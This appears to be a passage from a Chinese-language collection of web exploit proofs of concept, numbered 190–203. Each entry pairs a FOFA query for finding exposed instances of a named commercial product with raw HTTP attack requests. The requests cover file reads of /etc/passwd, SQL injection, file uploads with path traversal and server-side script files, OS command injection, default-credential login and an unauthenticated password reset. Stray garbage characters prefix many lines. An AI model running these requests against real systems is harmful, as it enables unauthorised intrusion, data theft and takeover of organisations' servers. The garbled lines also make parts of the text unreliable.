& ~, A) g) w: l3 B4 g) s) \1 B, m# nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% I) [3 d! V' J4 ]: fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


190. 短视频矩阵营销系统 poihuoqu 任意文件读取
* j- r1 D% i% R3 jFOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
) ^2 ]* ]) K7 x" ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. l2 W; J4 ]  U
poi=file:///etc/passwd
) U6 G% ^. E: c. Y- N0 K1 c
1 {3 k0 i9 H6 |' @
- N8 G, [& L; M8 B191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
! c( b. r( O; o+ uFOFA：body="/CDGServer3/index.jsp"
* C' [; y3 q9 J5 |) FPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
! c( W  G3 [  wHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 \5 h3 A  Z& FContent-Type: application/x-www-form-urlencoded

  [2 b4 N$ c" o- rcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

0 c4 u1 C, s" q/ Y- C" J' R2 K# ~
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
" U  f; Q" t. i$ l" S6 X$ n9 MHost: your-ip
1 s1 ]! P7 x4 j9 ^1 o: EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
4 a6 g! T9 E  E) \' vContent-Type: application/x-www-form-urlencoded

7 |5 W0 x0 N7 u" h  |8 b3 H
<% @ webhandler language="C#" class="AverageHandler" %>
/ [3 j5 w- X/ S  U2 R( Uusing System;
% S7 M# a  \6 {* q4 C8 Q# p. iusing System.Web;
9 T0 a0 _$ Q; E5 s& F3 xpublic class AverageHandler : IHttpHandler
{
5 F. ^0 n* I# K$ kpublic bool IsReusable
+ R! h7 t1 Q3 B+ W{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
$ }) F% G& |, h3 h* X3 I}
' L( d" y9 l3 y. \9 X" N- K0 |8 J}
. ~" J- A. i  n$ }+ _
/ z5 d3 U9 W! Q0 Z- m- a4 J5 m: r
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
& p3 N" y: T  r; L8 f# l3 IFOFA：body="山石云鉴主机安全管理系统"
, t% q( a2 D' P- mGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
* b/ M2 N0 T+ @% R4 D7 C* PCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
" L: Y; n$ [, i: _User-Agent: Mozilla/5.0
; V6 ]. p0 M0 H/ ^
% z! a. [- v+ K$ L
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
& X/ |" Y# d4 J! GAccept: */*
; [5 E  G' U& l* R$ P$ CConnection: close
Cookie: PHPSESSID=2333333333333;
8 \: ^9 C. g9 [# |Content-Type: application/x-www-form-urlencoded
$ Z. d  S8 C% \: ^' j9 ?Content-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


2 T/ o& }9 U0 y' Q  J2 L- D' QGET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0


194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
# I" J* O3 M) B. j1 n. |+ L
POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
, i- j$ n, h, C+ a. ]5 k- {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
) X+ ]  S- S! LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) d. y. l  |# u: n2 q5 G9 V  EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
) f% q0 y2 q8 V5 J! ?Connection: close
% N  ~0 G! U  D2 ~8 Q9 G/ g4 eContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
, `* m# S2 v, r; O2 l) _------WebKitFormBoundaryKNt0t4vBe8cX9rZk
* R0 y2 a0 j) ?: D
9 a# W& V6 g/ I6 ~Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
7 s7 e: I" P7 m9 `7 `Content-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
# `! U4 U6 e' p {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


1 |  ], k* W: l7 P; e195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
% G! W* b" b. |/ y6 H/ I5 N" T, fPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
4 |/ y/ N5 |9 n8 k& vPragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
( s+ [" }# H" R8 o+ ^/ UAccept: */*
Accept-Encoding: gzip, deflate
7 {& D+ W- [. w7 B9 U: [- C! WAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
$ K0 o% e- |0 N  x( L& c  A+ eContent-Length: 68
! p. z- J* M6 C8 s' v- P, n8 @
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


8 F+ d1 A" O7 F( u/ J9 U196. 河南省风速科技统一认证平台密码重置
- U% {9 G! j% ?: [9 R. t1 B3 t6 MFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
* o4 j* n4 T8 e/ j8 o9 e8 ^. V% M# }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
6 {" N( C( t6 ~: R1 u- H! P& WContent-Type: application/json;charset=UTF-8
7 V0 q1 C5 q8 B7 ]( K' V8 N3 jX-Requested-With: XMLHttpRequest
. y5 j0 V/ p& oHost:
$ c. @: f' c. V5 ^" ?; j' E8 EAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
" q2 _: O2 O$ e7 D1 o1 V& NConnection: close
% d' f. Y7 d/ E# r  I3 `5 e. A- v
. Q  M9 f- r; ~' `{"xgh":"test","newPass":"test666","email":""}



197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close


: i3 I, R& N0 g3 O
" A4 S# V# r6 E% n' _4 U7 J5 x! c198.  阿里云盘 WebDAV 命令注入
/ B) b* ?! ?. I9 R8 a+ s8 W8 _+ {* tCVE-2024-29640
. ?* `8 U0 O  Z, eGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
- p; X& Y& I0 q/ y$ S; M0 wAccept-Encoding: gzip, deflate
  S/ w9 B" G- _4 S- R% W8 {Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
! b9 I! k$ G; t0 KConnection: close


/ I" l- k& _5 {7 I- h5 a+ c199. cockpit系统assetsmanager_upload接口 文件上传

; h" z$ o6 j2 B9 j% |) {7 i1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
  C3 j* ^! D8 f* q! p' y4 lGET /auth/login?to=/ HTTP/1.1
! a0 @8 {; Y3 ~7 H
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：

/ S- i) B2 N3 B; q, Z- kPOST /auth/check HTTP/1.1
Content-Type: application/json

0 R* p  j/ M' h9 T- t{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

# I! \* Q4 r, I% A响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
% T. \- z! L0 b8 ^: S  HPOST /assetsmanager/upload HTTP/1.1
$ E! v2 ~7 B; z: cContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
0 a1 t  X8 |0 d1 t9 u& qCookie: mysession=95524f01e238bf51bb60d77ede3bea92

. |/ R1 [# J% m) r-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
* a- z' C  W' f6 j1 a& T
/ ]. H9 E6 @/ {8 u/ @7 u' i<?php echo "tttt";unlink(__FILE__);?>
1 N5 Z. r4 ?3 x2 |  k, A4 u5 ~1 s-----------------------------36D28FBc36bd6feE7Fb3
( @% i( L( r( U# [7 o3 ?Content-Disposition: form-data; name="folder"

1 f$ p0 S0 G( L+ c7 |% Q-----------------------------36D28FBc36bd6feE7Fb3--


, v* J* _! S, o6 j% w8 ^/storage/uploads/tttt.php
0 G2 |6 n- j* |& R( d' M! u
( M  k' j# _2 G8 X; [200. SeaCMS海洋影视管理系统dmku SQL注入
  N& ~0 v$ }. E% VFOFA：app="海洋CMS"
& }+ b1 b9 Z/ KGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
, ^4 q( s, d2 Q. K! \4 a  E5 \. UUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
( I: y4 ?8 v" H1 kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: M4 C; ^) r: e$ L: i/ U, e! i
# A# T7 r8 I/ o$ K% x4 |
' s  \) l3 c- r9 T# W- p201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
" k% j) K/ m7 f' CPOST /newsedit/newsplan/task/binary.do HTTP/1.1
$ s3 Z( x: C; f2 }$ _4 TContent-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 [" ?4 \6 M3 Q5 W& U  j- \' hAccept-Encoding: gzip, deflate
2 V0 G7 F* z9 E- d7 V! `6 ^0 TAccept-Language: zh-CN,zh;q=0.9
Connection: close
5 w( q$ c+ }  H3 j" f' o2 g
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

) r; q7 H& ]3 h9 ]9 Z6 q" Y( Y
202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
5 Q3 X' A: @" ]* l( lGET /User/AccountEdit.aspx HTTP/1.1
! l' }- p8 [* t( ?% M; g2 s$ uHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
7 ?/ {, \  `) V5 ?Content-Length: 0
8 L0 a$ E% ?# b) M
* V& s& Q! }  M: @2 f/ `
9 [0 M" I  H7 }+ M$ u替换__VIEWSTATE和__EVENTVALIDATION值
: D5 V7 e* c* R* a" R6 }9 B- LPOST /User/AccountEdit.aspx HTTP/1.1
: p# ^* z$ Q! CAccept-Encoding: gzip, deflate, br
2 d, U- a- c9 l9 X$ LContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

$ a7 U9 O0 o# E__VIEWSTATE
! i$ z' |& E% Q" R' }) j6 i) ^-----------------------------786435874t38587593865736587346567358735687
5 T: w; e, H0 m2 p- ZContent-Disposition: form-data; name="__EVENTVALIDATION"

" l" i( P. l5 D$ U( q' y$ f__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
7 [4 _/ ?+ Y& Y" A) k) U( Y
Hello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
9 _' y6 [) q* s
上传图片
0 e! v8 W: ~9 I% S& X  p( l-----------------------------786435874t38587593865736587346567358735687
3 j: n3 a- g% r% u8 lContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
" u8 C* t& \3 q* f4 W  m

* d/ f7 M, R- R1 \-----------------------------786435874t38587593865736587346567358735687
4 [, ?/ J/ p  zContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
! x$ [& _& V, l' s0 X" x/ t% {# K
* X) D- a3 c3 j2 r  R+ O+ ]
-----------------------------786435874t38587593865736587346567358735687--


7 O$ f/ t+ ^6 q/_data/Uploads/1123.txt
: j0 F  U, @. @" I; L+ P' j4 o: H+ I
203. 红海云EHR PtFjk 文件上传
) n3 }1 N; ^; B$ c7 P+ J( iFOFA：body="RedseaPlatform"
3 o9 _% O# ]" q( h7 x" FPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
7 z2 n$ n& K# D: `0 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
: p$ `0 l" f( L9 z3 Q% N2 UContent-Length: 210
, {& J: D5 Z5 L0 [- q( ^
------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
. u) t9 R9 N* g3 m( w& cContent-Type:image/jpeg

( a3 X9 l+ P% }4 Z- }<% out.print("hello,eHR");%>
; t3 l0 m4 e8 T( r------WebKitFormBoundaryt7WbDl1tXogoZys4--

3 P+ `, N3 Q+ o8 w
/ N+ ^: \0 |/ B3 w7 r# r' B


$ h& ^6 F) @8 J; ]. w